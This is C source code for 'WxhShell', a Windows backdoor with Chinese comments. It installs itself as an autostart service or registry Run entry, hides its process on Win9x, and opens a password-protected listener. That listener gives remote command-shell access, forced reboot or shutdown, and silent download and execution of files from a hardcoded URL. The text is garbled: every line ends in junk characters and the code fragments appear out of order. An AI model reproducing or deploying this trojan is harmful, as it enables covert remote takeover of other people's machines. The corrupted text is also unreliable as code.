  case 'd': { Y5TBWcGU%  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); (CE2]Nv9")  
    if(Boot(SHUTDOWN)) .yb8<qs  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s%?<:9  
    else { V{{UsEVO  
    closesocket(wsh); WX+@<y}%  
    ExitThread(0); t5QGXj  
    } FYK}AR<=  
    break; ve4 QS P  
    } *T{KpiuP  
  // 获取shell Ds\f?\Em  
  case 's': { )EG-xo@X  
    CmdShell(wsh); xH-} <7  
    closesocket(wsh); 5;9.&f  
    ExitThread(0); )' 2vUt`_7  
    break; )Y?E$=M +B  
  } +*RpOtss  
  // 退出 +@PZ3 [s  
  case 'x': { K=2j}IPe  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); }80n5 X<9  
    CloseIt(wsh); ,-> P+m5  
    break; &HJ~\6r\  
    } JM*rPzp  
  // 离开 *JaFt@ x  
  case 'q': { C,u;l~zz  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0);  uMBb=   
    closesocket(wsh); EKT"pL-EY  
    WSACleanup(); :wJ!rn,4  
    exit(1); SHC VjI6  
    break; T f^O(  
        } 16I(S  
  } H{;8i7%  
  } |nO }YU\E  
? oGmGKq  
  // 提示信息 D7$xY\0r  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); Sq 2yQSd  
} iainl@3Qj  
  } (yz8}L3  
L^nS%lm  
  return; Xg97[I8/  
} < YuI}d~'  
\y/+H  
// shell模块句柄 JDC,]  
int CmdShell(SOCKET sock) "( ?[$R  
{ wT\dzp>/  
STARTUPINFO si; F^');8~L  
ZeroMemory(&si,sizeof(si)); @yjui  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ;Y16I#?;Kh  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; II_MY#0X  
PROCESS_INFORMATION ProcessInfo;  Ia)^  
char cmdline[]="cmd"; *$>$O%   
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s[@@INU  
  return 0; *-9b!>5eD  
} SHPZXJ{  
\'N|1!EO|t  
// 自身启动模式 Bb/aeLv  
int StartFromService(void) jNseD  
{ YJwz*@l  
typedef struct __||cQ  
{ %K]nX#.B&  
  DWORD ExitStatus; 0b}lwo,|\  
  DWORD PebBaseAddress; +<I1@C  
  DWORD AffinityMask; O~&l.>??  
  DWORD BasePriority; k)USLA  
  ULONG UniqueProcessId; oDas~0<oh  
  ULONG InheritedFromUniqueProcessId; 8%#uZG\}  
}   PROCESS_BASIC_INFORMATION; BF6H_g  
ihhnB  
PROCNTQSIP NtQueryInformationProcess; 3'2}F%!Mv  
oAp I/o  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; l@YpgyqaL  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; & ~[%N O  
Wkv **X}  
  HANDLE             hProcess; Afa{f}st  
  PROCESS_BASIC_INFORMATION pbi; g@"6QAP  
O^gq\X4}  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); PZl(S}VY  
  if(NULL == hInst ) return 0; 9uREbip  
u]c nbm  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); UoxF00H@!  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); s ^{j  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Jq`fD~(7  
`0Q:d'  
  if (!NtQueryInformationProcess) return 0; 7+u%]D!  
OiY2l;68  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); j|(bDa4\  
  if(!hProcess) return 0; ArU>./)Q  
BmUzsfD  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; Xc5[d`]  
ig/716r|  
  CloseHandle(hProcess); _?_Svx2  
@;,O V&XYn  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); [%nG_np  
if(hProcess==NULL) return 0; TJ5{Ee GV  
A?|cJ"N  
HMODULE hMod; k*c:%vC!  
char procName[255]; 1y"37;x  
unsigned long cbNeeded; cuk2\> Xl  
7<^D7  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "x$S%:p  
.Na>BR\F  
  CloseHandle(hProcess); NV-9C$<n2!  
/9w}[y*E  
if(strstr(procName,"services")) return 1; // 以服务启动 |H_)u  
Pe wPl0  
  return 0; // 注册表启动 X7c*T /  
} Yhw* `"X  
khv!\^&DD  
// 主模块 X-{:.9  
int StartWxhshell(LPSTR lpCmdLine) }\ DQxHG  
{ j*:pW;)^  
  SOCKET wsl; ?s"v0cg+  
BOOL val=TRUE; EShakV  
  int port=0; S s`0;D1  
  struct sockaddr_in door; e<^4F%jSK  
kyo ,yD  
  if(wscfg.ws_autoins) Install(); V!U[N.&$  
\]ODpi 2  
port=atoi(lpCmdLine); N[+dX_h  
|b3/63Ri-0  
if(port<=0) port=wscfg.ws_port; MM8)yCI  
};!c]/,  
  WSADATA data; B=c^ma  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; .RWBn~b#I  
tl^[MLQa  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   ;W*$<~_  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); E0DEFB  
  door.sin_family = AF_INET; eXaDx%mM  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); Rt:PW}rFf  
  door.sin_port = htons(port); GKd>AP_  
zuPH3Q={  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { KnFbRhu[  
closesocket(wsl); #EM'=Q%TO  
return 1; G<dXJ ]\\  
} #dfW1@m  
y14@9<~9  
  if(listen(wsl,2) == INVALID_SOCKET) { pq&c]8H  
closesocket(wsl); Go67VqJr  
return 1; TnaIRJ\B  
} aBC[(}Pb]  
  Wxhshell(wsl);  Fszk?0T  
  WSACleanup(); B&$89]gs|  
~3Y NHm6V  
return 0; 2$ rq  
y d$37G|n  
} 2Ls<OO  
t]o gn(  
// 以NT服务方式启动 1<p"z,c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) E>1USKxn  
{ UK<"|2^sT  
DWORD   status = 0; ]\ezES  
  DWORD   specificError = 0xfffffff; f\^QV  
E{ ,O}  
  serviceStatus.dwServiceType     = SERVICE_WIN32; an2Tc*=~l(  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; Vi|jkyC8  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Q}T9NzOH%  
  serviceStatus.dwWin32ExitCode     = 0;  ~EM];i  
  serviceStatus.dwServiceSpecificExitCode = 0; e4b~s  
  serviceStatus.dwCheckPoint       = 0; Mww]l[1'EL  
  serviceStatus.dwWaitHint       = 0; D{l((t3=T  
h5gXYmk  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 9 $S,P|  
  if (hServiceStatusHandle==0) return; j&pgq2Kl  
.2P?1HpK  
status = GetLastError(); 6J*`<k/ S  
  if (status!=NO_ERROR) Ttj5% ~  
{ 'x0t, ;g  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; !!86Sv  
    serviceStatus.dwCheckPoint       = 0; I{PN6bn{>  
    serviceStatus.dwWaitHint       = 0; W<L6,  
    serviceStatus.dwWin32ExitCode     = status; ^hgAgP{{  
    serviceStatus.dwServiceSpecificExitCode = specificError; 7GUJ&U) J  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?:nZv< x  
    return; !T~d5^l!  
  } 1W g8jr's  
$OD5t5eTsM  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ezvaAhd{  
  serviceStatus.dwCheckPoint       = 0; |Q;o538  
  serviceStatus.dwWaitHint       = 0; GXRjR\Ch  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); \d+HYLAJn  
} t_rDXhM  
[s2V-'2  
// 处理NT服务事件,比如:启动、停止  c$|dK  
VOID WINAPI NTServiceHandler(DWORD fdwControl) 9-^p23.@[j  
{ gNd J=r4  
switch(fdwControl) YeLOd  
{ Sv@p!-m  
case SERVICE_CONTROL_STOP: h'x~"k1  
  serviceStatus.dwWin32ExitCode = 0; ^!qmlx*  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 0)]1)z(P  
  serviceStatus.dwCheckPoint   = 0; kk'w@Sn.(  
  serviceStatus.dwWaitHint     = 0; n:D*r$ C|p  
  { 's?Fip  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); kU/=Du  
  } 3>" h*U#  
  return; 4g9b[y~U  
case SERVICE_CONTROL_PAUSE: \ c&)8.r  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; <yPHdbF  
  break; ,9qB}HG  
case SERVICE_CONTROL_CONTINUE: eeZysCy+DY  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; N0[I2'^.  
  break; Ol9 fwd  
case SERVICE_CONTROL_INTERROGATE: YMTA`T(+  
  break; ^^SfIK?p  
}; 7nz+n#  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); syf"{bBe  
} 61/zrMPn  
8!GLw-kb  
// 标准应用程序主函数 i)i)3K2  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) }YP7x|  
{ :(`>bY  
Xh"iP%  
// 获取操作系统版本 n;-r W;ZO  
OsIsNt=GetOsVer(); _%vqBr*  
GetModuleFileName(NULL,ExeFile,MAX_PATH); +[ /r^C  
gj,J3x4TK/  
  // 从命令行安装 y UAn~!s  
  if(strpbrk(lpCmdLine,"iI")) Install(); ue"?S6  
t1{}-JlA  
  // 下载执行文件 v|(b,J3  
if(wscfg.ws_downexe) { O + & xb  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) !(K{*7|h  
  WinExec(wscfg.ws_filenam,SW_HIDE); QCfpDE}  
} `;CU[Ps?]  
7$W;4!BN*  
if(!OsIsNt) { XFTMT'9  
// 如果时win9x,隐藏进程并且设置为注册表启动 KBR0p&MN  
HideProc(); s@LNQ|'kO  
StartWxhshell(lpCmdLine); -==qMrKP  
} dm=F:\C  
else t}k'Ba3]:Y  
  if(StartFromService()) bxSKe6l  
  // 以服务方式启动 IW o~s  
  StartServiceCtrlDispatcher(DispatchTable); BemkCj2  
else "%Ana=cc  
  // 普通方式启动 m%c0#=D  
  StartWxhshell(lpCmdLine); F}(QKO*  
aiZo{j<6  
return 0; 0"psKf'  
} 4F,Ql"ae(  
4<< bk_7'  
L?27q  
36x:(-GFq  
=========================================== !5%5]9'n@*  
asN }  
$>ZP%~O  
s.^9HuM  
hdtnC29$  
\41)0,sEy  
" 1DLG]-j}  
K6{bYho  
#include <stdio.h> YB B$uGA  
#include <string.h> p;=kH{uu  
#include <windows.h> ),Ho(%T\  
#include <winsock2.h> )_ ^WpyzF1  
#include <winsvc.h> ^I<T+X+<  
#include <urlmon.h> rgdQR^!l6  
Eu/y">;v#  
#pragma comment (lib, "Ws2_32.lib") 72ViPWW  
#pragma comment (lib, "urlmon.lib") Kq 4<l  
n_aNs]C9R  
#define MAX_USER   100 // 最大客户端连接数 W0MnGzZ  
#define BUF_SOCK   200 // sock buffer 04guud }  
#define KEY_BUFF   255 // 输入 buffer EKeh>3;?  
`X<`j6zaG  
#define REBOOT     0   // 重启 4m~7 ~-h  
#define SHUTDOWN   1   // 关机 4:Xj-l^D  
" Z2Tc)  
#define DEF_PORT   5000 // 监听端口 vdT+,x`  
Rw}2*5#y  
#define REG_LEN     16   // 注册表键长度 *e3L4 7"G  
#define SVC_LEN     80   // NT服务名长度 . z$Sm  
3P#+) F~  
// 从dll定义API 5`"*y iv  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $FQcDo|[  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); 7<1fKrN?GF  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); i=1 }lk q  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); K@jSr*\'  
60,-\h  
// wxhshell配置信息 A?Nn>xF9X  
struct WSCFG { WiNr866nB  
  int ws_port;         // 监听端口 J[!x%8m  
  char ws_passstr[REG_LEN]; // 口令 i6F:C &.  
  int ws_autoins;       // 安装标记, 1=yes 0=no 1rv$?=Z  
  char ws_regname[REG_LEN]; // 注册表键名 ,.oa,sku  
  char ws_svcname[REG_LEN]; // 服务名 r'd:SaU+  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 >{ECyh;  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 &7($kj  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 r2SJp@f  
int ws_downexe;       // 下载执行标记, 1=yes 0=no uGa(_ut  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 'l' X^LMD  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 0n*rs=\VG  
lj EB  
}; (3ZvXpzvF  
V9zywM  
// default Wxhshell configuration $!F&>=o  
struct WSCFG wscfg={DEF_PORT, 7}d$*C  
    "xuhuanlingzhe", 8K.s@<  
    1, oE!hF}O  
    "Wxhshell", }0BL0N`_  
    "Wxhshell", NqT1buU#  
            "WxhShell Service", ApG'jN  
    "Wrsky Windows CmdShell Service", gHvW e  
    "Please Input Your Password: ", #juGD9e  
  1, 0):uF_t<  
  "http://www.wrsky.com/wxhshell.exe", dv^e 9b|  
  "Wxhshell.exe" :/@k5#DY  
    }; BH&/2tO%  
<Spr6U9p7  
// 消息定义模块 p;qRm} 0}  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; gH i~nEH  
char *msg_ws_prompt="\n\r? for help\n\r#>"; m3xz=9Ve  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; 66~e~F}z  
char *msg_ws_ext="\n\rExit."; %Lp2jyv.  
char *msg_ws_end="\n\rQuit."; MUbhEau?  
char *msg_ws_boot="\n\rReboot..."; 5;F P.{+  
char *msg_ws_poff="\n\rShutdown..."; ka2F !   
char *msg_ws_down="\n\rSave to "; "u(S2'DW'(  
wTTTrk  
char *msg_ws_err="\n\rErr!"; iN<(O7B;  
char *msg_ws_ok="\n\rOK!"; G-\<5]k]  
[i(Cl}  
char ExeFile[MAX_PATH]; DC|xilP1O  
int nUser = 0; 9m\)\/V  
HANDLE handles[MAX_USER]; S9G8aea/  
int OsIsNt; v#<\:|XAg  
2q"_^deI5*  
SERVICE_STATUS       serviceStatus; =MTj4VXh"  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <#xrrRhm}  
R=\v3m  
// 函数声明 ]`zjRRd  
int Install(void); v7 8&[  
int Uninstall(void); *>e~_{F  
int DownloadFile(char *sURL, SOCKET wsh); |x d@M-ln  
int Boot(int flag); j:HH#U  
void HideProc(void); A$7Eo`Of  
int GetOsVer(void); 7<EJo$-j  
int Wxhshell(SOCKET wsl); fd?bU|I_2  
void TalkWithClient(void *cs); h'B9|Cm  
int CmdShell(SOCKET sock); _Fy4DVCg  
int StartFromService(void); #04{(G|~+E  
int StartWxhshell(LPSTR lpCmdLine); ,'FD}yw4v  
$Q8P@L)[  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); k(zs>kiP  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); GhqgRzX  
*-9#/Cp  
// 数据结构和表定义 T$ H2'tK|  
SERVICE_TABLE_ENTRY DispatchTable[] = rGTWcJ   
{ 3AvVU]@&Z@  
{wscfg.ws_svcname, NTServiceMain}, PqT"jOF]n  
{NULL, NULL} 0fnZR$PB  
}; }  c{Fa&  
=a?a@+  
// 自我安装 m9#}X_&x  
int Install(void) X,>(Y8  
{ U:qF/%w  
  char svExeFile[MAX_PATH]; ?N4A9W9  
  HKEY key; ]ddHA  
  strcpy(svExeFile,ExeFile);  LsQs:O  
$!a?i@  
// 如果是win9x系统,修改注册表设为自启动 >W8bWQ^fK  
if(!OsIsNt) { {V[Ha~b%*  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ;US83%*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); dKU5;  
  RegCloseKey(key); 3QCMK^#Z:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ewo*7j4*  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); XDHLEG-u(  
  RegCloseKey(key); xttYn ]T  
  return 0; m +Y@UgB  
    } hgj CXl  
  } HKpD 2M  
} +jcdf}  
else { 4w@v#H@  
PT mf  
// 如果是NT以上系统,安装为系统服务 a|UqeNI{  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); r k@UsHy  
if (schSCManager!=0) -dl}_   
{ 0[lS(K  
  SC_HANDLE schService = CreateService ?^U c=  
  ( BApa^j\?  
  schSCManager, ]X*YAPv  
  wscfg.ws_svcname, #xlZU  
  wscfg.ws_svcdisp, /[0F6  
  SERVICE_ALL_ACCESS, (%i!%{!]  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , =h(7rU"Yz  
  SERVICE_AUTO_START, gyC^K3}  
  SERVICE_ERROR_NORMAL, HH7[tGF  
  svExeFile, -eUV`&[4  
  NULL, NzAQ@E 2d:  
  NULL, Hr8\QgD<4  
  NULL, /;DjJpwf0  
  NULL, ^,Xa IP+[  
  NULL SAP;9*f1\  
  ); 8AryIgy>@  
  if (schService!=0) D^n xtuT*  
  { >Z}@7$(7!~  
  CloseServiceHandle(schService); B-$+UE>%  
  CloseServiceHandle(schSCManager); XHy ?  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); fc3 Fi'^  
  strcat(svExeFile,wscfg.ws_svcname); NP "ylMr7P  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 9-b 8`|s  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); R^w}o,/  
  RegCloseKey(key); M]1;  
  return 0; GN0duV  
    } N.jA 8X  
  } rrAqI$6  
  CloseServiceHandle(schSCManager); +B#qu/By  
} gNTh% e  
} 1f<RyAE?5  
cu<y8 :U<  
return 1; zFOL(s.h|0  
} !Pw$48cg  
q=njKC  
// 自我卸载 ;:U<ce=  
int Uninstall(void) O'OFz}x),  
{ A9t8`|1"%H  
  HKEY key; M</Wd{.g"  
p/N62G  
if(!OsIsNt) { o,J^ e_  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { {(%~i37  
  RegDeleteValue(key,wscfg.ws_regname); !\ZcOk2  
  RegCloseKey(key); ( :iPm<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { J=@xAVBc  
  RegDeleteValue(key,wscfg.ws_regname); |f<9miNu  
  RegCloseKey(key); V7BsEw  
  return 0; B7|c`7x(  
  } -rO*7HO  
} g*F~8+]Y  
} Y!M~#oqio  
else { Mo_$b8i  
bTiBmS  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); >d97l&W  
if (schSCManager!=0) J)#S-ZB+'k  
{ ac|/Y$\w  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); $.9 +{mz  
  if (schService!=0) '<W<B!HP5Z  
  { !x8kB Di,  
  if(DeleteService(schService)!=0) { L $SMfx  
  CloseServiceHandle(schService); T!(sZf  
  CloseServiceHandle(schSCManager); TywK\hH  
  return 0; [ T-*/}4$  
  } ?]5Ix1  
  CloseServiceHandle(schService); (V!0'9c  
  } PGkCOmq   
  CloseServiceHandle(schSCManager); C;ptir1G;  
} \ZsP]};*  
} 2 ^oGwx @  
@C=m?7O98  
return 1; L$kgK# T  
} oK$ '9c5<  
*y?[ <2"$  
// 从指定url下载文件 $C$ub&D ~"  
int DownloadFile(char *sURL, SOCKET wsh) L/%Y#  
{ )O&z5n7t4s  
  HRESULT hr; @gEr+O1K(  
char seps[]= "/"; xvB8YW"  
char *token; q=+ wI"[  
char *file; .'&V#D0  
char myURL[MAX_PATH]; "Vx6 #u@}  
char myFILE[MAX_PATH]; 6`Lcs  
>O3IfS(l  
strcpy(myURL,sURL); V,vc_d?,_o  
  token=strtok(myURL,seps); Bh,Q8%\6  
  while(token!=NULL) vbaC+AiX  
  { oBC]UL;8xJ  
    file=token; s*.3ZS5  
  token=strtok(NULL,seps); aDh|48}X  
  } *x!LKIpv  
?^. Pt  
GetCurrentDirectory(MAX_PATH,myFILE); 8 ip^]  
strcat(myFILE, "\\"); `H"vR: ~{  
strcat(myFILE, file); onib x^Fcd  
  send(wsh,myFILE,strlen(myFILE),0); 6<PW./rk:  
send(wsh,"...",3,0); ` jyKCm.$#  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); &//2eL  
  if(hr==S_OK) TA|s@T{  
return 0; ?9Ma^C;}  
else  E>"8 /  
return 1; ($'V& x8T  
\ FXp*FbQ  
} ~?d>fR:X  
;Yv14{T!  
// 系统电源模块 hJLT!33:  
int Boot(int flag) Qh8C,"a  
{ _ ~[M+IO   
  HANDLE hToken; 1fRP1  
  TOKEN_PRIVILEGES tkp; )(]Envb?A0  
`,P >mp)uU  
  if(OsIsNt) { N8QH*FX/F1  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); x9D/s`!  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); d#8e~  
    tkp.PrivilegeCount = 1; .:N:pWe  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; FB_NkXR  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); dXK-&Po'  
if(flag==REBOOT) { ^7^2D2[  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) d>/Tu_ y  
  return 0; TL'0T,Jo  
} }/"4|U  
else { %/!+(7 D  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) YXRjx .srf  
  return 0; WL:0R>0  
} c 6q/X*  
  } "koo` J  
  else { z37Z %^  
if(flag==REBOOT) { -;/ Y  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) \%4|t,en  
  return 0; hkF^?AJ  
} D J_DonO]  
else { "k, K~@}  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) QF&6?e06p0  
  return 0; I)lC{v  
} NNp}|a9  
} _#vGs:-x&  
wASX\D }  
return 1; GFt1  
} yquAr$L!  
]x_F{&6U8  
// win9x进程隐藏模块 tah }^  
void HideProc(void) D2]ZMDL.  
{ }I'^./za  
?0) @jc=  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); Q.E_:=*H  
  if ( hKernel != NULL ) EBwK 7c  
  { In+^V([u+_  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); cm,4&x6  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); &mdB\Y?^  
    FreeLibrary(hKernel); s~Gw  
  } URQ@=W7  
*(Ro;?O,pi  
return; aaT5u14%  
} ,5. <oDH  
|*fNH(8&H  
// 获取操作系统版本 ,Z5Fea  
int GetOsVer(void) cd&B?\I  
{  Fs)  
  OSVERSIONINFO winfo; qRl/Sl#F  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); L#!$hq9{_  
  GetVersionEx(&winfo); ~j]dct7  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) jzMg'z/@J  
  return 1; `)2[ST  
  else oLw|uU-|  
  return 0; gmDR{loX  
} h1c{?xH2r  
5us^B8Q  
// 客户端句柄模块 Kr]W o8dWy  
int Wxhshell(SOCKET wsl) x{?sn  
{ !t% Q{`p  
  SOCKET wsh; qK,V$l(4#  
  struct sockaddr_in client; 1!1DuQ  
  DWORD myID; wHWma)}-z  
,2_w=<hq  
  while(nUser<MAX_USER) F9O`HFVK  
{ 4|=vxJ  
  int nSize=sizeof(client); ;AJ< LC  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); `@MPkC y1  
  if(wsh==INVALID_SOCKET) return 1; %l;*I?0H  
8,y{q9O  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); m_$JWv\|\  
if(handles[nUser]==0) K( z[ }  
  closesocket(wsh); PT05DH  
else P=Puaz5&{  
  nUser++; fyrd `R  
  } k:mlt:  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ]LVnt-q  
Z)5klg$c  
  return 0; .jaZ|nN8`  
} >3!DOv   
LyV#j>gD  
// 关闭 socket *F|+2?a:$  
void CloseIt(SOCKET wsh) RAwk7F3qn  
{ nzWQQra|?  
closesocket(wsh); NnP.k7m)  
nUser--; \imp7}N  
ExitThread(0); phmVkV2a;#  
} P#v^"}.Wd  
"f<#.}8  
// 客户端请求句柄 =1IEpxh%  
void TalkWithClient(void *cs) ?yf_Dt  
{ =E1tgrW  
{KsVK4\r  
  SOCKET wsh=(SOCKET)cs; oSmjs  
  char pwd[SVC_LEN]; <"A#Eok|4  
  char cmd[KEY_BUFF]; wx./"m.M  
char chr[1]; #w;;D7{@m  
int i,j; Vf$1Sjw  
oc:x&`j  
  while (nUser < MAX_USER) { $ hoYkA  
,6RQvw  
if(wscfg.ws_passstr) { !]G jIT]Oh  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 0JyqCb l  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l@#b;M/  
  //ZeroMemory(pwd,KEY_BUFF); K#@K"N =  
      i=0; r_q~'r35_  
  while(i<SVC_LEN) { F  "!`X#  
RPY 6Wh| 4  
  // 设置超时 umryA{Ps  
  fd_set FdRead; ~T7\8K+ $  
  struct timeval TimeOut;  7BS/T  
  FD_ZERO(&FdRead); <\p&jk?  
  FD_SET(wsh,&FdRead); ,[^o9u uB  
  TimeOut.tv_sec=8; Xj(>.E{~H  
  TimeOut.tv_usec=0; qhnapZJ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); .01TTK*  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); [?|5 oaK  
pj+tjF6Np  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 4L!e=>as"1  
  pwd=chr[0]; [d\#[l_  
  if(chr[0]==0xd || chr[0]==0xa) { E}t-N  
  pwd=0; OoSa95#x  
  break; *5^ze+:  
  } =^by0E2  
  i++; cmae&Atotw  
    } *%nX#mwz  
@YsL*zw  
  // 如果是非法用户,关闭 socket 4 #G3ew  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); [XxA.S)x3  
} *50ZinfoG  
9a-]T=5Ee  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); S`4e@Z$  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); nE4l0[_  
vRxL&8`&  
while(1) { a9L0f BRy  
0 oQ/J:  
  ZeroMemory(cmd,KEY_BUFF); >|(WS.n3C  
{8_:4`YZ  
      // 自动支持客户端 telnet标准   S~}$Ly@  
  j=0; fq{I$syY  
  while(j<KEY_BUFF) { 2AmR(vVa"  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); (Y&R0jt  
  cmd[j]=chr[0]; =w t-YM  
  if(chr[0]==0xa || chr[0]==0xd) { JLt{f=`%F  
  cmd[j]=0; L-SdQTx_  
  break; ]2g5Ka[>w  
  } X9SJ~n  
  j++; %sYk0~E  
    } =GLYDV  
V.+DP  
  // 下载文件 rC=f#YjR  
  if(strstr(cmd,"http://")) { h@ EJTAi  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); <x^IwS  
  if(DownloadFile(cmd,wsh)) p {w}  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); N{|[R   
  else |I4D(#w.  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?NQD#  
  } 3huzz<n3  
  else { CR P7U  
[@jp9D H  
